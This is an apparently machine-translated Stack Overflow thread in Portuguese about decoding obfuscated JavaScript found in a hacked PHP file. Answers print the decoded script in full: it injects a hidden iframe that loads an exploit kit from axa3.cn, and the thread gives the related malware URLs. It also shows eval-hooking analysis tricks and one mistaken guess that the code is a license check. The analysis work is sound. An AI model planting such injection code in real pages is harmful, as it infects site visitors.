Pergunta

Eu tenho algum código que estava no fundo de um arquivo php que está em javascript. Ela passa por muitas contorções estranhas como converter hex para ascii em seguida, fazendo substituições regex, a execução de código e assim por diante ...

Existe alguma maneira de descobrir o que está em execução antes que ela realmente faz isso?

O código é aqui:

http://pastebin.ca/1303597

Foi útil?

Solução

Você pode apenas passar por isso passo a passo - já que é Javascript, e é interpretado, ele precisa ser o seu próprio decodificador. Se você tem acesso a uma linha de comando intérprete Javascript (como o console em Firebug ), este será bastante simples.

Eu vou dar uma olhada e ver o que surge.

Editar eu tenho através de mais do mesmo - parece que o passo final é não-trivial, provavelmente porque envolve "argument.callee". De qualquer forma eu colocar o que eu tenho até agora no Pastebin.

Curiosamente eu achei a parte mais difícil deste estava dando as variáveis ??jargão nomes próprios. Isso me lembrou de um de palavras cruzadas ou sudoku, onde você sabe como as coisas estão relacionadas, mas você não pode definitivamente atribuir algo até que você descobrir o que suas partes dependentes são. :-) Eu tenho certeza que se alguém reconhece o algoritmo que pode dar as peças nomes mais significativos, mas ao pouco onde há um monte de XORing acontecendo, há duas variáveis ??temporárias que acabei de esquerda como os seus nomes padrão desde que eu não sei contexto suficiente para dar-lhes mais úteis.

edição final : O bit 'arguments.callee' tornou-se fácil quando eu percebi que eu poderia simplesmente passar o texto puro que eu ironicamente acaba de ser decodificação (é uma técnica bastante inteligente, de modo que deobfuscation normal não vai funcionar, porque, naturalmente, uma vez que você renomear as variáveis, etc, o valor é diferente). Enfim, aqui é o seu roteiro na íntegra:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

Basicamente parece que ele carrega malware de axa3.cn. O site já é suspeita pelo ISP, porém, assim nenhum dizer o que estava realmente lá acima e além maldade geral.

(Se de qualquer pessoa interessada, eu estava usando Pastebin como um pseudo-VCS para as versões de mudança do código, para que possa ver mais um passo intermediário, um pouco depois do meu primeiro post de edição. foi bastante intrigante ver as diferentes camadas de ofuscação e como eles mudaram.)

Outras dicas

Enquanto você pode decodificar manualmente, ele pode em breve se tornar tedioso quando você tem muitos estágios de decodificação. Eu costumo substituir eval / gravação para ver cada passo:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

No entanto, este script em particular está protegido contra este por inspeção deliberada de window.eval. Uso de arguments.callee também significa que o roteiro se baseia em formato Function.toString de um determinado navegador, neste caso IE do - não vai funcionar em outros navegadores. Você pode colocar soluções alternativas na função eval substituição para dar o script que ele espera neste caso, mas ainda é um pouco de dor.

Você pode usar o Script Debugger a passo através do código, ou o que eu fiz neste caso foi permitir que o código seja executado, em uma máquina virtual com nenhuma rede que eu poderia dar ao luxo de escrever fora. Ao olhar para document.body.innerHTML depois que o código tinha corrido eu achei adicionado um iframe invisível apontava em:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

que redireciona para:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

que, vistos em condições adequadas no IE, dá-lhe uma carga de exploits. Não vá a esses URLs .

Em suma o servidor foi hackeado por axa3.cn, uma das muitas gangues de malware chinês hospedado, mas russos operados em operação no momento.

Basta escrever um script perl ou algo que muda todos os caracteres hexadecimais escaparam para ascii? Em seguida, basta olhar através dos regexs para ver o que exatamente está acontecendo, e fazer a mesma coisa com o seu perl / whatever script.

Você pode tentar o console do Firebug e decompô-lo aos poucos. Como ponto de partida:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

é apenas mascarando a função "eval" como "jQuery"

abordagem mais fácil seria muito simplesmente usar um programa c simples para converter os caracteres hexadecimais escaparam em texto legível assim:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

este (I adicionado formatação). Eu vou deixar você terminar a última parte que parece ser mais do mesmo.

com muito cuidado - se alguém está indo para esta muita dificuldade para ofuscar o código, provavelmente é algum tipo de script de ataque

você pode produzir os resultados da execução em estágios usando um arquivo html local, e levá-la um pedaço de cada vez

fazendo isso eu recebo:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

que os rendimentos

jQuery=eval(window.eval);

que, como observado crescentfresh, liga-se a variável jQuery para a função window.eval.

A seção seguinte é obviamente tentando algo eval em código hexadecimal, então vamos ver o que o código hexadecimal de cordas olha como (reformatada manualmente para fins de apresentação):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

e agora temos uma string escapou no final, vamos ver o que está lá dentro usando unescape (truncado para apresentação):

30248118GA0 * l: WRG: nt9 * 82:) 7Z \ uF% * {...

tomar este apart Francamente, estou ficando entediado, então ao invés i despejado em um arquivo html local, desconectado da internet, abriu firefox, javascript disabled, carregado o arquivo no firefox, ligado firebug, recarregou a página de modo ele seria executado, e inspecionou o DOM.

o script cria um IFRAME com o conjunto de SRC para [alterado para a segurança!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn é um domínio chinês na lista negra de malware

Eu sei que não é a resposta, mas normalmente (onde eu já vi esse tipo de coisa), eles são colocados então se isso is not linha executada, todo o script pára. porque eles fazem aquilo? Bem coz eles estão imprimindo seus direitos autorais sobre o script (ou mais geralmente um modelo).

Quando as pessoas vai para todo esse problema para que você possa dar o reconhecimento é porque eles têm uma licença de remoção de direitos autorais, eu recomendaria pagar por ele, uma vez que mesmo se você "engenharia reversa", que, eles podem (e têm) outras maneiras para verificar se sua licença é verdade. (Alguns desses softwares vão realmente enviar algum tipo de mensagem se você está fazendo isso).

Mas, antes de eu obter qualquer tipo de chama, eu concordo sua interessante voltar neste tipo de títulos e obter o código original e quebrá-lo =)

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top